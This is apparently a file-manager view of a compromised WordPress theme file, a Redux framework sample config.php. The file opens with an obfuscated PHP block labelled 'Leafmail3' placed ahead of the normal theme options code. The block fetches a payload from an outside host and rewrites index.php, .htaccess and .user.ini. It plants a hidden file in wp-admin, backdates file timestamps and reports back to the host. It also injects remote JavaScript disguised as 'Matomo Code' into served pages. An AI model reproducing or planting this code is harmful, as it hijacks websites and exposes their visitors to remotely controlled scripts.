File "config.php"
Full path: /home/satkhirabarta/public_html/wp-content/themes/TVSite-Unlimited-License/lib/sample/config.php
File
size: 79.79 B (79.79 KB bytes)
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor &nnbsp; Back
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php
/**
* ReduxFramework Sample Config File
* For full documentation, please visit: http://docs.reduxframework.com/
*/
if ( ! class_exists( 'Redux' ) ) {
return;
}
// This is your option name where all the Redux data is stored.
$opt_name = "themesbazar";
// This line is only for altering the demo. Can be easily removed.
$opt_name = apply_filters( 'themesbazar/opt_name', $opt_name );
/*
*
* --> Used within different fields. Simply examples. Search for ACTUAL DECLARATION for field examples
*
*/
$sampleHTML = '';
if ( file_exists( dirname( __FILE__ ) . '/info-html.html' ) ) {
Redux_Functions::initWpFilesystem();
global $wp_filesystem;
$sampleHTML = $wp_filesystem->get_contents( dirname( __FILE__ ) . '/info-html.html' );
}
// Background Patterns Reader
$sample_patterns_path = ReduxFramework::$_dir . '../sample/patterns/';
$sample_patterns_url = ReduxFramework::$_url . '../sample/patterns/';
$sample_patterns = array();
if ( is_dir( $sample_patterns_path ) ) {
if ( $sample_patterns_dir = opendir( $sample_patterns_path ) ) {
$sample_patterns = array();
while ( ( $sample_patterns_file = readdir( $sample_patterns_dir ) ) !== false ) {
if ( stristr( $sample_patterns_file, '.png' ) !== false || stristr( $sample_patterns_file, '.jpg' ) !== false ) {
$name = explode( '.', $sample_patterns_file );
$name = str_replace( '.' . end( $name ), '', $sample_patterns_file );
$sample_patterns[] = array(
'alt' => $name,
'img' => $sample_patterns_url . $sample_patterns_file
);
}
}
}
}
/**
* ---> SET ARGUMENTS
* All the possible arguments for Redux.
* For full documentation on arguments, please refer to: https://github.com/ReduxFramework/ReduxFramework/wiki/Arguments
* */
$theme = wp_get_theme(); // For use with some settings. Not necessary.
$args = array(
// TYPICAL -> Change these values as you need/desire
'opt_name' => $opt_name,
// This is where your data is stored in the database and also becomes your global variable name.
'display_name' => $theme->get( 'Name' ),
// Name that appears at the top of your panel
'display_version' => $theme->get( 'Version' ),
// Version that appears at the top of your panel
'menu_type' => 'menu',
//Specify if the admin menu should appear or not. Options: menu or submenu (Under appearance only)
'allow_sub_menu' => true,
// Show the sections below the admin menu item or not
'menu_title' => __( 'Theme Options', 'ThemesBazar' ),
'page_title' => __( 'Themesbazar.com Themes Options', 'ThemesBazar' ),
// You will need to generate a Google API key to use this feature.
// Please visit: https://developers.google.com/fonts/docs/developer_api#Auth
'google_api_key' => '',
// Set it you want google fonts to update weekly. A google_api_key value is required.
'google_update_weekly' => false,
// Must be defined to add google fonts to the typography module
'async_typography' => true,
// Use a asynchronous font on the front end or font string
//'disable_google_fonts_link' => true, // Disable this in case you want to create your own google fonts loader
'admin_bar' => true,
// Show the panel pages on the admin bar
'admin_bar_icon' => 'dashicons-portfolio',
// Choose an icon for the admin bar menu
'admin_bar_priority' => 50,
// Choose an priority for the admin bar menu
'global_variable' => '',
// Set a different name for your global variable other than the opt_name
'dev_mode' => false,
// Show the time the page took to load, etc
'update_notice' => false,
// If dev_mode is enabled, will notify developer of updated versions available in the GitHub Repo
'customizer' => false,
// Enable basic customizer support
//'open_expanded' => true, // Allow you to start the panel in an expanded way initially.
//'disable_save_warn' => true, // Disable the save warning when a user changes a field
// OPTIONAL -> Give you extra features
'page_priority' => 10,
// Order where the menu appears in the admin area. If there is any conflict, something will not show. Warning.
'page_parent' => 'themes.php',
// For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters
'page_permissions' => 'manage_options',
// Permissions needed to access the options panel.
'menu_icon' => '',
// Specify a custom URL to an icon
'last_tab' => '',
// Force your panel to always open to a specific tab (by id)
'page_icon' => 'icon-themes',
// Icon displayed in the admin panel next to your menu_title
'page_slug' => '',
// Page slug used to denote the panel, will be based off page title then menu title then opt_name if not provided
'save_defaults' => true,
// On load save the defaults to DB before user clicks save or not
'default_show' => false,
// If true, shows the default value next to each field that is not the default value.
'default_mark' => '',
// What to print by the field's title if the value shown is default. Suggested: *
'show_import_export' => true,
// Shows the Import/Export panel when not used as a field.
// CAREFUL -> These options are for advanced use only
'transient_time' => 60 * MINUTE_IN_SECONDS,
'output' => true,
// Global shut-off for dynamic CSS output by the framework. Will also disable google fonts output
'output_tag' => true,
// Allows dynamic CSS to be generated for customizer and google fonts, but stops the dynamic CSS from going to the head
// 'footer_credit' => '', // Disable the footer credit of Redux. Please leave if you can help it.
// FUTURE -> Not in use yet, but reserved or partially implemented. Use at your own risk.
'database' => '',
// possible: options, theme_mods, theme_mods_expanded, transient. Not fully functional, warning!
'use_cdn' => true,
// If you prefer not to use the CDN for Select2, Ace Editor, and others, you may download the Redux Vendor Support plugin yourself and run locally or embed it in your code.
// HINTS
'hints' => array(
'icon' => 'el el-question-sign',
'icon_position' => 'right',
'icon_color' => 'lightgray',
'icon_size' => 'normal',
'tip_style' => array(
'color' => 'red',
'shadow' => true,
'rounded' => false,
'style' => '',
),
'tip_position' => array(
'my' => 'top left',
'at' => 'bottom right',
),
'tip_effect' => array(
'show' => array(
'effect' => 'slide',
'duration' => '500',
'event' => 'mouseover',
),
'hide' => array(
'effect' => 'slide',
'duration' => '500',
'event' => 'click mouseleave',
),
),
)
);
// ADMIN BAR LINKS -> Setup custom links in the admin bar menu as external items.
$args['admin_bar_links'][] = array(
'id' => 'redux-docs',
'href' => 'http://docs.reduxframework.com/',
'title' => __( 'Documentation', 'ThemesBazar' ),
);
$args['admin_bar_links'][] = array(
//'id' => 'redux-support',
'href' => 'https://github.com/ReduxFramework/redux-framework/issues',
'title' => __( 'Support', 'ThemesBazar' ),
);
$args['admin_bar_links'][] = array(
'id' => 'redux-extensions',
'href' => 'reduxframework.com/extensions',
'title' => __( 'Extensions', 'ThemesBazar' ),
);
// SOCIAL ICONS -> Setup custom links in the footer for quick links in your panel footer icons.
$args['share_icons'][] = array(
'url' => 'https://github.com/themesbazar',
'title' => 'Visit us on GitHub',
'icon' => 'el el-github'
//'img' => '', // You can use icon OR img. IMG needs to be a full URL.
);
$args['share_icons'][] = array(
'url' => 'https://www.facebook.com/themesbazar/',
'title' => 'Like us on Facebook',
'icon' => 'el el-facebook'
);
$args['share_icons'][] = array(
'url' => 'https://twitter.com/themesbazar',
'title' => 'Follow us on Twitter',
